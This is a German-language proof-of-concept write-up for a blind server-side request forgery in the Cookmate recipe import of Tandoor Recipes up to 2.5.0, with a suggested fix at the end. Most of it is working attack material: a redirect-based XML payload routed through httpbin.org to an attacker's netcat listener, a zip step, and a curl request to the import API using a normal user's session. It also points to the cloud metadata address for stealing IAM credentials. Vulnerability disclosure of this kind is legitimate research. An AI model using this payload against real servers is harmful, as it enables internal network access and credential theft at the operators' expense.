
Proof-of-Concept-Exploit für CVE-2026-25991, eine blinde SSRF im Cookmate-Import von Tandoor Recipes, die es authentifizierten Benutzern ermöglicht, auf interne Ressourcen zuzugreifen.
Proof-of-Concept für SSRF über Rezept-Import
Offenlegung: Ursprünglich von mir gemeldet über GHSA-j6xg-85mh-qqf7
⚠️ Nur für autorisierte Penetrationstests/Forschung.
| Feld | Wert |
|---|
| CVE-ID | CVE-2026-25991 |
| Schweregrad | 🔴 Hoch |
| CVSS-Score | 7.7 |
| CVSS-Vektor | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N] |
| CWE | CWE-918: Server-Side Request Forgery (SSRF) |
| Betroffenes Produkt | Tandoor Recipes ≤ 2.5.0 |
| Patch-Version | 2.5.1 |
| Advisory | GHSA-j6xg-85mh-qqf7 |
Ich habe eine Blind Server-Side Request Forgery (SSRF)-Schwachstelle in der Cookmate-Rezeptimport-Funktion von Tandoor Recipes entdeckt. Die Anwendung validiert die Ziel-URL nach dem Folgen von HTTP-Weiterleitungen nicht, wodurch jeder authentifizierte Benutzer (einschließlich Standardbenutzer ohne Administratorrechte) den Server dazu zwingen kann, sich mit beliebigen internen oder externen Ressourcen zu verbinden.
Diese Schwachstelle kann genutzt werden, um interne Netzwerkports zu scannen, auf Cloud-Instanz-Metadaten zuzugreifen (z. B. AWS/GCP-Metadatendienst) oder die echte IP-Adresse des Servers offenzulegen.
Die Schwachstelle liegt in cookbook/integration/cookmate.py, innerhalb der Cookmate-Integrationsklasse.
imageurl.validate_import_url (in cookbook/helper/HelperFunctions.py) validiert, die private IP-Bereiche (z. B. 127.0.0.1, 10.0.0.0/8) korrekt blockiert.requests.get(url), um das Bild herunterzuladen. Standardmäßig folgt die requests-Bibliothek Weiterleitungen (allow_redirects=True).
Die Funktion validate_import_url prüft nur die ursprüngliche URL, validiert aber nicht das endgültige Ziel nach einer Weiterleitung.Verwundbarer Code-Ausschnitt (cookbook/integration/cookmate.py:73):
if validate_import_url(url):
# KRITISCH: requests.get folgt standardmäßig Weiterleitungen und umgeht damit die anfängliche Prüfung.
response = requests.get(url)
self.import_recipe_image(recipe, BytesIO(response.content))
Ein Angreifer kann einen externen Dienst (wie httpbin.org) verwenden, um die Anfrage auf eine eingeschränkte interne Adresse umzuleiten (z. B. http://127.0.0.1:80/ oder http://169.254.169.254/).
Entscheidend ist, dass die AppImportView (cookbook/views/api.py) explizit CustomIsUser-Berechtigungen zulässt, was bedeutet, dass JEDER registrierte Benutzer diese Schwachstelle auslösen kann. Es sind keine besonderen Administratorrechte erforderlich.
Voraussetzungen:
nc).Schritte zur Reproduktion:
Listener einrichten (Angreifer-Maschine):
Öffnen Sie ein Terminal und starten Sie nc, um auf eingehende Verbindungen zu lauschen. Dies simuliert einen internen Dienst oder einen vom Angreifer kontrollierten Server.
nc -lvnp 9999
Bösartiges XML-Payload erstellen:
Erstellen Sie eine Datei mit dem Namen payload.xml. Ersetzen Sie <YOUR_IP> durch Ihre öffentliche IP-Adresse (oder eine erreichbare IP).
Dieses Payload verwendet httpbin.org, um die anfängliche Prüfung privater IPs zu umgehen und auf Ihren Listener umzuleiten.
<recipes>
<recipe>
<title>SSRF_PoC</title>
<!-- Weiterleitung auf internen Dienst oder Listener des Angreifers -->
<imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
</recipe>
</recipes>

ZIP-Archiv erstellen: Tandoor erfordert, dass die XML-Datei in einer ZIP-Datei enthalten ist.
zip payload.zip payload.xml
Exploit ausführen (über API):
Melden Sie sich als Standardbenutzer (nicht Admin) an, um das Session-Cookie und das CSRF-Token zu erhalten.
Senden Sie dann eine POST-Anfrage an /api/import/:
(Ersetzen Sie <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> durch tatsächliche Werte)
curl -X POST 'http://<TARGET_URL>/api/import/' \
-H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
-H 'X-CSRFToken: <CSRF_TOKEN>' \
-F 'type=COOKMATE' \
-F '[email protected]' \
-F 'duplicates=true'


nc). Sie sehen eine eingehende HTTP-GET-Anfrage vom Tandoor-Server.
Dies bestätigt, dass der Server im Namen eines Standardbenutzers eine Verbindung zu einer beliebigen externen/internen Ressource hergestellt hat.
GET /secret.txt HTTP/1.1
Host: <YOUR_IP>:9999
User-Agent: python-requests/2.x.x
...

http://169.254.169.254/latest/meta-data/), um IAM-Anmeldeinformationen zu stehlen, was zu einer vollständigen Kompromittierung der Infrastruktur führt.Deaktivieren Sie das automatische Folgen von Weiterleitungen im requests.get-Aufruf oder implementieren Sie eine strenge Validierung für Weiterleitungs-URLs.
Diff (vorgeschlagener Fix):
# cookbook/integration/cookmate.py
# Option 1: Weiterleitungen deaktivieren (empfohlen)
response = requests.get(url, allow_redirects=False)
# Option 2: Weiterleitungen validieren
# (Komplexe Logik erforderlich, um jeden Weiterleitungssprung gegen private IP-Bereiche zu prüfen)